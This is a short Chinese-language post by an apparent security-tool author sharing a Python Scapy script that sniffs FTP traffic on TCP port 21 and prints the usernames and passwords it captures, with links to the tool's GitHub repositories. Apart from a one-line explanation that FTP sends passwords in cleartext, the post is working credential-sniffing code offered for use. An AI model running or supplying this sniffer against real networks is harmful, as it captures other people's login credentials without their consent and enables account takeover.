[源码]python Scapy Ftp密码嗅探
原理很简单,FTP密码明文传输的
截取tcp 21端口User和Pass数据即可
Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe
1 # -*- coding: UTF-8 -*- 2 #author: k8gege 3 import os 4 import queue 5 from scapy.all import * 6 def ftpsniff(pkt): 7 dest = pkt.getlayer(IP).dst 8 raw = pkt.sprintf('%Raw.load%') 9 user = re.findall('(?i)USER (.*)', raw) 10 pwd = re.findall('(?i)PASS (.*)', raw) 11 if user: 12 print '[*] FTP Login to ' + str(dest) 13 print '[+] Username: ' + str(user[0]).replace("\r\n'",""); 14 elif pwd: 15 print '[+] Password: ' + str(pwd[0]).replace("\r\n'",""); 16 17 print('FTP Sniffing...'); 18 sniff(filter="tcp port 21", prn=ftpsniff)
https://github.com/k8gege/k8ftpsniffer
https://github.com/k8gege/K8tools/blob/master/k8ftpsniffer.py